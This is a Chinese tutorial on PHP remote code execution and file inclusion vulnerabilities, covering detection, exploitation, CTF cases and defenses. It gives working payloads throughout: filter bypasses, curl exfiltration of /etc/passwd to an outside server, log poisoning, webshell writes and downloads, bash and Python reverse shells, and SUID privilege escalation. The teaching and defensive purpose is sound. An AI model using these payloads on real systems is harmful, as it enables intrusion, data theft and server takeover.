1. 项目概述:从“黑盒”到“白盒”的必经之路
刚入行那会儿,听到“RCE”和“文件包含”这些词,总觉得是高手才能玩转的东西,带着一层神秘面纱。后来自己上手做项目,才发现它们其实是Web安全测试里最基础、也最致命的“敲门砖”。今天这篇笔记,就想把我这些年踩过的坑、总结的经验,掰开揉碎了讲清楚,目标就是让任何一个有点Web基础的朋友,都能看懂、能复现、能理解背后的门道。这不仅仅是两个漏洞的讲解,更是一套理解Web应用如何“被攻破”的思维模型。无论是你想入门安全测试,还是作为开发想堵上自己代码里的窟窿,这篇文章都能给你提供一套清晰的实操地图。
简单说,RCE(远程代码执行)和文件包含漏洞,是攻击者从“访问你的网站”到“控制你的服务器”之间最短、最直接的路径。前者是让服务器执行任意你想要的命令,后者则是利用服务器“读文件”的功能,去读取或执行本不该被访问的敏感文件或代码。它们经常像一对“黄金搭档”一样出现,一个负责打开缺口,一个负责扩大战果。理解它们,你就理解了Web应用安全攻防的核心逻辑之一。
2. 核心漏洞原理深度拆解:为什么代码会“不听话”?
在动手之前,我们必须把原理吃透。很多新手一上来就照着Payload(攻击载荷)猛敲,结果换一个环境就懵了。理解原理,才能举一反三,才能自己构造Payload,才能真正称之为“懂”。
2.1 RCE漏洞:当输入框变成了命令行
RCE,全称Remote Code/Command Execution。它的本质是:应用程序在处理用户输入的数据时,未经充分过滤或校验,就将其作为代码的一部分交给系统去执行。
想象一下,你有一个网站功能是“Ping测试”,让用户输入一个IP地址,然后服务器后台调用系统命令ping [用户输入的IP]来测试网络连通性。代码可能长这样(以PHP为例):
<?php $ip = $_GET['ip']; system("ping -c 4 " . $ip); ?>看起来没问题,对吧?但如果用户输入的不是8.8.8.8,而是8.8.8.8; whoami呢?拼接后的命令就变成了ping -c 4 8.8.8.8; whoami。在Linux/Unix系统中,分号;是命令分隔符。这意味着系统会先执行ping -c 4 8.8.8.8,然后执行whoami(显示当前用户)。这样,攻击者就通过一个简单的输入,让服务器执行了额外的、未授权的命令。
关键点在于“拼接”与“信任”。开发人员信任了用户的输入,并直接将其拼接进命令字符串或代码上下文中。常见的危险函数/场景包括:
- 命令执行函数:
system(),exec(),shell_exec(),passthru(),popen(),以及反引号`操作符。 - 代码执行函数:
eval()(直接执行字符串形式的PHP代码),assert(),preg_replace()的/e修饰符(已废弃但仍可能遇到)。 - 反序列化漏洞:通过操纵序列化数据,触发类中的
__destruct()或__wakeup()魔术方法,间接执行代码。 - 模板注入:在Smarty、Twig等模板引擎中,用户输入被直接当作模板语法解析。
注意:
eval()和assert()这类函数是“代码执行”,执行的是当前脚本语言(如PHP)的代码。而system()等是“命令执行”,执行的是操作系统(如Linux bash)的命令。两者危害性都极高,但利用方式略有不同。
2.2 文件包含漏洞:借“鸡”生“蛋”的艺术
文件包含漏洞,通常出现在使用文件包含函数的场景中,如PHP的include(),require(),include_once(),require_once()。这些函数的本意是提高代码复用性,比如把头部、尾部、公共函数库做成单独文件,在需要时包含进来。
漏洞产生的根本原因是:包含文件的路径(或文件名),由用户输入可控,且程序未对其进行严格限制。
假设有一段代码:
<?php $page = $_GET['page']; include('/pages/' . $page . '.php'); ?>开发者的本意是让用户通过?page=home来访问/pages/home.php。但如果用户传入?page=../../../../etc/passwd,拼接后就是/pages/../../../../etc/passwd,经过路径回溯,最终可能成功包含系统文件/etc/passwd,导致敏感信息泄露。这就是本地文件包含(LFI, Local File Inclusion)。
更危险的是远程文件包含(RFI, Remote File Inclusion)。如果php.ini中allow_url_include设置为On,攻击者可以传入一个远程URL,如?page=http://evil.com/shell.txt。那么服务器会去请求这个URL,并将返回的内容当作PHP代码包含进来并执行。这样一来,攻击者可以直接在服务器上植入Webshell(一种网页形式的后门管理工具)。
LFI和RFI的界限:LFI是包含服务器本地的文件,RFI是包含远程URL的文件。RFI的危害通常远大于LFI,因为它意味着攻击者可以注入任意代码。但在实际渗透中,LFI也常常能与其它漏洞配合,例如结合日志文件、Session文件、上传文件等,实现“本地文件包含→代码执行”的链条。
3. 漏洞发现与手工探测实战
知道了原理,我们就要像猎人一样去寻找这些漏洞。自动化工具(如Burp Suite、AWVS)能帮我们扫描,但真正的高手离不开手工探测的精准和灵活。下面我以两个典型场景为例,带你走一遍手工探测的完整思路。
3.1 RCE漏洞的手工探测技巧
探测RCE,核心思路是寻找“用户输入可能影响系统命令或代码执行”的点。
第一步:功能点枚举
- 显性功能:网站中任何涉及“执行系统功能”的地方,都是重点目标。例如:
- 网络工具:Ping、Traceroute、DNS查询、Whois查询。
- 文件操作:文件上传(可能调用反病毒扫描命令)、文件压缩/解压。
- 数据查询:某些后台可能通过调用系统命令查询服务器状态。
- 隐性参数:URL参数、Cookie、HTTP请求头(如
User-Agent,X-Forwarded-For)、表单字段,都可能被后端拼接进命令。不要只盯着输入框。
第二步:注入点测试找到可疑点后,使用分层测试法,从无害到有害逐步试探,观察响应差异。
- 基础分隔符测试:输入
127.0.0.1; echo test、127.0.0.1 && echo test、127.0.0.1 | echo test。观察页面是否出现“test”字样,或者命令执行时间是否有明显延迟(如果echo被过滤,可以尝试sleep 5)。 - 命令回显测试:如果上一步有反应,尝试获取输出。例如:
127.0.0.1; whoami、127.0.0.1 && id。 - 盲注测试:如果页面没有直接回显命令结果,可能是“盲RCE”。需要通过其他方式判断命令是否执行。
- 时间盲注:使用
sleep命令。127.0.0.1; sleep 5,如果页面响应延迟了大约5秒,说明命令执行成功。 - DNS外带盲注:利用命令触发DNS查询,将执行结果带到DNS日志中。例如:
127.0.0.1; ping -c 1whoami.your-dns-log-server.com。你需要有一个可控的DNS服务器来接收查询记录。这是绕过严格出网限制的高级技巧。 - HTTP外带盲注:利用
curl或wget命令将结果发送到你的服务器。127.0.0.1; curl http://your-server.com/cat /etc/passwd | base64``。
- 时间盲注:使用
第三步:绕过过滤实战中,开发人员可能会做一些简单的过滤,比如黑名单过滤了空格、分号、反斜杠等。
- 空格绕过:用
${IFS}、$IFS$9、<、>、%09(Tab的URL编码)代替。 - 命令分隔符绕过:分号
;被过滤,可以尝试换行符%0a、&&、||、&(后台执行)。 - 关键字绕过:用通配符
?、*,或变量拼接。例如,a=who;b=ami;$a$b。 - 编码绕过:Base64编码命令。
echo 'whoami' | base64得到d2hvYW1pCg==,然后执行echo d2hvYW1pCg== | base64 -d | bash。
实操心得:测试时一定要在授权的靶场或自己搭建的环境中进行!真实环境中,即使发现漏洞,也应立即停止测试并报告,未经授权的测试是违法行为。时间盲注的
sleep时间不宜过长,3-5秒即可,避免对目标服务造成明显影响。
3.2 文件包含漏洞的手工探测技巧
探测文件包含,关键是寻找include、require这类函数可能被调用的参数。
第一步:寻找包含参数
- 直观参数名:
file、page、path、include、module、template等。 - 模糊测试:对每个参数尝试包含一个已知存在的本地文件,如
/etc/passwd(Linux)或C:\Windows\win.ini(Windows),使用../进行目录回溯。Payload示例:?file=../../../../etc/passwd。 - 关注URL路径:有时包含参数是整个路径的一部分,如
/index.php?page=about可能对应/templates/about.php。
第二步:判断包含类型(LFI vs RFI)
- 测试LFI:尝试包含系统已知文件。如果成功读取,说明存在LFI。
- 测试RFI:尝试包含一个远程URL。例如:
?file=http://your-server.com/test.txt。如果allow_url_include开启且无过滤,服务器会尝试去获取这个URL。你可以观察你的服务器访问日志,是否有来自目标IP的请求。更直接的方式是在test.txt中写入<?php phpinfo();?>,如果包含后页面显示了phpinfo信息,则RFI存在且可直接利用。
第三步:利用LFI获取更大权限单纯的LFI读文件很有用,但我们的目标是执行代码。有几种经典技巧:
- 包含日志文件:Web服务器(如Apache的
access.log、error.log)或SSH日志(auth.log)会记录用户请求。我们可以通过User-Agent或请求路径,将PHP代码“写入”日志文件,然后去包含这个日志文件。- 攻击:
curl -A "<?php system($_GET['c']);?>" http://target.com/ - 包含:
?file=/var/log/apache2/access.log&c=whoami
- 攻击:
- 包含Session文件:PHP的Session文件通常存储在
/tmp或/var/lib/php/sessions中,文件名类似sess_[你的PHPSESSID]。如果我们可以控制Session中的部分数据(比如用户名),就可以将代码写入Session文件,然后包含它。 - 包含/proc/self/environ:这是Linux系统中的一个特殊文件,包含了进程的环境变量。其中
HTTP_USER_AGENT等可由我们控制。方法与日志包含类似。 - 包含上传的文件:如果网站有上传功能,且我们能猜到或找到上传文件的路径,就可以上传一个图片马(图片中包含PHP代码),然后利用LFI去包含这个图片文件。如果服务器配置不当(如未校验MIME类型或文件内容),图片中的PHP代码会被执行。
注意事项:包含日志或Session文件时,文件中会存在大量其他字符,可能造成PHP语法错误。通常需要用
<?php ... ?>将代码包裹,并确保其处于新的一行,或者利用PHP的php://input流包装器(需开启allow_url_include)直接执行POST过去的代码:?file=php://input,同时POST body里写<?php system('whoami');?>。
4. 从漏洞利用到权限获取:构建攻击链
发现漏洞只是开始,如何将其转化为实际的控制权,才是渗透测试的精髓。RCE和文件包含很少单独使用,它们通常是攻击链中的一环。
4.1 RCE的利用与Shell获取
获得RCE后,我们相当于有了一个在目标服务器上执行命令的“单次通行证”。我们需要将其升级为一个稳定的、交互式的“后门”——也就是Webshell或反向Shell。
1. 写入Webshell这是最直接的方式。利用echo命令或下载功能,在Web目录下写入一个PHP文件。
# 方法1:直接echo写入(适用于有写权限的目录) ; echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php # 方法2:使用wget或curl从远程下载 ; wget http://your-server.com/shell.php -O /var/www/html/shell.php # 方法3:使用Python、Perl等脚本语言写入(如果环境支持) ; python -c "open('/var/www/html/shell.py', 'w').write('import os; os.system(\"whoami\")')"写入后,访问http://target.com/shell.php,用中国菜刀、蚁剑等工具连接,即可获得图形化操作界面。
2. 建立反向Shell(Reverse Shell)Webshell的流量是“客户端主动请求服务器”,容易被防火墙察觉。反向Shell是“让服务器主动连接我们的监听端口”,更隐蔽。
- 在攻击机上监听端口:
nc -lvnp 4444 - 在目标RCE处执行连接命令:
# Bash ; bash -c 'bash -i >& /dev/tcp/your-ip/4444 0>&1' # Python ; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # 其他语言(Perl, PHP, Ruby等)也有类似的一行命令。
执行成功后,你会在攻击机的nc终端看到目标服务器的Shell提示符。
3. 权限提升(提权)拿到Shell后,当前用户权限可能很低(如www-data)。我们需要寻找路径进行提权(Privilege Escalation)。
- 信息收集:执行
id,uname -a,sudo -l,find / -perm -4000 -type f 2>/dev/null(查找SUID文件),cat /etc/crontab(查看定时任务)。 - 利用内核漏洞:使用
uname -a查看内核版本,搜索对应的公开Exp(漏洞利用程序)。务必在授权环境测试,因为内核Exp可能导致系统崩溃。 - 利用SUID程序:如果找到
find、vim、bash等命令具有SUID权限,可以利用其特性提权。例如,已知的findSUID提权:find . -exec /bin/sh \; -quit。 - 利用环境变量劫持:如果
sudo -l显示可以以root身份运行某些程序而不需要密码,并且该程序调用了其他命令,可能通过劫持PATH环境变量来提权。
4.2 文件包含的进阶利用手法
单纯的RFI可以直接执行代码,等同于RCE。而LFI则需要更多技巧来“转化”为代码执行。
1. PHP封装协议(PHP Wrappers)的妙用PHP内置了一些强大的流包装器,是LFI利用的神器。
php://filter读取源码:当无法直接执行代码时,可以用它读取PHP文件的源码,避免被解析。这在审计代码时非常有用。
服务器会返回?file=php://filter/convert.base64-encode/resource=index.phpindex.php文件的base64编码内容,解码后即可获得源代码。php://input执行代码:需要allow_url_include=On。将POST body中的数据作为PHP代码执行。POST /vuln.php?file=php://input HTTP/1.1 ... <?php system('whoami');?>data://文本数据流:同样需要allow_url_include=On。可以直接在URL中嵌入代码。?file=data://text/plain,<?php phpinfo();?> ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
2. 结合文件上传这是非常经典的组合拳。
- 找到一个文件上传点,上传一个内容为
<?php system($_GET[‘c’]);?>的图片文件(如shell.jpg)。 - 上传成功后,通过响应或猜测,获取文件的存储路径,如
/uploads/2023/10/shell.jpg。 - 利用LFI漏洞包含这个图片文件:
?file=./uploads/2023/10/shell.jpg&c=whoami。 - 如果服务器配置了
AddType application/x-httpd-php .jpg(错误配置),图片会被当作PHP解析。即使没有,在某些LFI场景下,包含文件时不检查后缀,文件内容会被当作PHP代码执行。
3. 包含临时文件PHP在处理文件上传时,会先创建一个临时文件,路径通常在/tmp/phpXXXXXX。这个文件在请求结束后会被删除,时间窗口极短。但通过条件竞争(Race Condition)攻击,可以在临时文件被删除前,利用LFI去包含并执行它。这是比较高阶的技巧,需要编写脚本进行多线程并发攻击。
5. 防御方案与安全开发实践
作为渗透测试者,我们不仅要会攻,更要懂防。了解如何修复,才能给客户提供有价值的建议,也才能写出更健壮的代码。
5.1 RCE漏洞的防御
核心原则:永远不要信任用户输入,特别是当它要参与命令或代码执行时。
- 避免使用危险函数:这是最根本的。如果业务逻辑非要用到
system、exec、eval等函数,需要极其严格的审查。 - 使用安全的替代函数:
- 对于命令执行,尽量使用语言内置的、参数化的API。例如在PHP中,用
escapeshellarg()或escapeshellcmd()对命令参数进行转义。但注意,它们并非绝对安全。 - 更好的方式是使用不需要调用Shell的函数,如PHP的
proc_open()或popen()配合正确的参数传递。
- 对于命令执行,尽量使用语言内置的、参数化的API。例如在PHP中,用
- 白名单校验:对于Ping这类功能,用户输入应该只允许是IP地址或主机名。使用正则表达式进行严格匹配,只允许通过预定义的、安全的字符集合。
$ip = $_GET['ip']; if (!preg_match('/^[0-9\.]+$/', $ip)) { // 简单示例,实际IP校验更复杂 die('Invalid IP address'); } system("ping -c 4 " . escapeshellarg($ip)); - 最小权限原则:运行Web服务的用户(如
www-data、nobody)应该被限制在最小必要权限内,绝不能是root。这样即使被RCE,能造成的破坏也有限。 - 禁用危险函数:在
php.ini中,通过disable_functions配置项,禁用system,exec,shell_exec,passthru,eval,assert等函数。
5.2 文件包含漏洞的防御
核心原则:固定或严格校验被包含文件的路径。
- 避免动态包含:如果可能,尽量不要让用户输入直接或间接决定包含哪个文件。使用静态映射或选择结构。
$pages = ['home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php']; $page = $_GET['page']; if (array_key_exists($page, $pages)) { include('/templates/' . $pages[$page]); } else { include('/templates/404.php'); } - 路径固定化:如果必须动态,则在拼接路径后,进行规范化并检查是否在允许的目录内。
$base_dir = '/var/www/html/includes/'; $file = $_GET['file']; $real_path = realpath($base_dir . $file); // 解析真实路径 // 检查真实路径是否以 $base_dir 开头,防止目录穿越 if ($real_path === false || strpos($real_path, $base_dir) !== 0) { die('Invalid file path.'); } include($real_path); - 关闭危险配置:在
php.ini中,确保allow_url_fopen和allow_url_include设置为Off。这是防止RFI的最有效手段。 - 文件后缀限制:强制为包含的文件添加后缀,如
.php,并在包含前检查文件是否存在且后缀正确。但这不能完全防御LFI。 - 使用安全的文件访问方式:考虑使用文件读取函数(如
file_get_contents())代替包含函数,如果只是为了读取文件内容而非执行代码。
6. 实战案例复盘与排查技巧
理论说再多,不如看两个实战例子。这里我复盘两个经典的CTF题目场景,它们很好地体现了RCE和文件包含漏洞的利用思路。
6.1 案例一:[极客大挑战 2019]RCE Me
这道题是一个经典的、需要代码审计的RCE题目。通常你会拿到一段PHP源码,核心代码可能如下:
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } ?>漏洞点分析:代码获取code参数,直接传给eval()执行,这是明显的代码执行漏洞。但有两个限制:1. 长度不超过40字符;2. 不能出现数字和字母。
绕过思路:这就是典型的“无字母数字RCE”挑战。我们需要构造一个不含字母数字,但能执行命令的字符串。
- 利用PHP的字符串操作:在PHP中,可以通过异或(
^)、取反(~)等操作,用非字母数字的字符构造出我们想要的函数名字符串。 - 利用自增运算符:
'a'++会变成'b'。我们可以从一个非字母的变量开始,通过自增得到字母。 - 利用PHP的弱类型和特殊变量:例如
$_(超全局数组)在某些情况下可以获取到字符。
一个常见的Payload构造方法是使用取反。例如,~运算符会对字符串进行按位取反。我们可以先计算出所需命令的取反后的字符串,然后再次取反得到原命令。
// 例如,我们想构造 `phpinfo();` // `phpinfo` 的取反是 `%8F%97%8F%96%91%99%90` (URL编码后) $payload = (~%8F%97%8F%96%91%99%90)(); // 这在实际传递时需要处理编码在实际解题中,通常会写一个小脚本,生成这样的Payload。最终,通过精心构造一个不超过40字符且无字母数字的字符串,调用eval执行system('cat /flag')之类的命令。
排查与防御:对于此类题目,防御就是避免使用eval()。如果必须用,除了长度和字符黑名单,几乎无法做到绝对安全。因此,在真实环境中,eval()应被彻底禁止。
6.2 案例二:利用PHP封装协议与文件包含读取Flag
假设一个场景:题目存在LFI,但无法直接执行代码。目标是要读取服务器上一个名为flag.php的源代码,而该文件直接访问会显示空白(因为可能只定义了变量,没有输出)。
利用过程:
- 发现包含点:
?file=welcome.php。 - 尝试读取
flag.php源码:直接包含?file=flag.php会执行它,但看不到源码。使用php://filter读取器。 - Payload:
?file=php://filter/convert.base64-encode/resource=flag.php - 服务器返回一串Base64编码的字符串。
- 解码后,得到
flag.php的源代码,其中包含了Flag信息。
为什么能成功:php://filter是一个“过滤器”,它可以在数据流被include函数“执行”之前,先对数据进行处理(这里是用base64编码)。include函数拿到了base64编码后的文本,它试图将其作为PHP代码执行,但base64编码的文本不是有效的PHP代码,所以不会被执行,而是会以“文本”形式出现在错误信息或直接输出中(取决于配置)。这样我们就绕过了“执行”,实现了“读取”。
排查与防御:防御此类攻击,除了前面提到的路径校验和白名单,还应考虑过滤或禁用危险的协议。可以在PHP配置或代码层面,对包含的路径进行协议黑名单过滤,但更推荐使用白名单方式,只允许包含特定的、已知安全的本地文件。
7. 工具辅助与自动化思维
手工探测是基础,但效率有限。在实际工作中,我们一定会借助工具。
- Burp Suite:渗透测试的瑞士军刀。它的Repeater模块用于手动修改和重放请求,Intruder模块用于对参数进行模糊测试(Fuzzing),可以快速测试大量Payload。Scanner模块也能自动检测一些常见的RCE和文件包含漏洞。
- SQLMap:虽然主打SQL注入,但其
--os-shell参数在特定条件下能利用SQL注入漏洞获取RCE,其--file-read参数可以读取服务器文件,有时能辅助LFI利用。 - 定制化脚本:面对复杂的过滤规则,往往需要自己编写Python脚本,自动化地生成和测试Payload。例如,针对“无字母数字RCE”的题目,编写脚本自动生成取反或异或的Payload。
- 反连平台(Reverse Shell Platform):如
ngrok、frp等内网穿透工具,或者自己用云服务器搭建一个带有公网IP的监听服务,用于接收反向Shell连接,这在实战中非常必要。
工具是手臂的延伸,思维才是大脑的核心。自动化不是无脑扫描,而是将你的手工探测思路(如分层测试、绕过技巧)固化到工具或脚本中,实现批量化、精准化的测试。例如,你可以整理一个针对命令分隔符、空格绕过的Payload字典,用Intruder去跑;也可以写一个脚本,自动尝试包含/proc/self/environ、各种日志路径等常见LFI利用点。
最后,我想说的是,Web渗透测试是一个需要不断学习、实践和思考的领域。RCE和文件包含只是众多漏洞类型中的两种,但它们的原理——“用户输入被过度信任并用于敏感操作”——是许多其他漏洞(如SQL注入、XSS、SSRF)的共通本质。吃透这两个漏洞,建立起“输入-处理-输出”的安全审计思维,你会发现自己看代码、测功能的角度都会发生质的变化。真正的安全不是堆砌防御规则,而是理解攻击者的思维,并在代码的每一处细节中,消除那些可能被利用的“不信任”。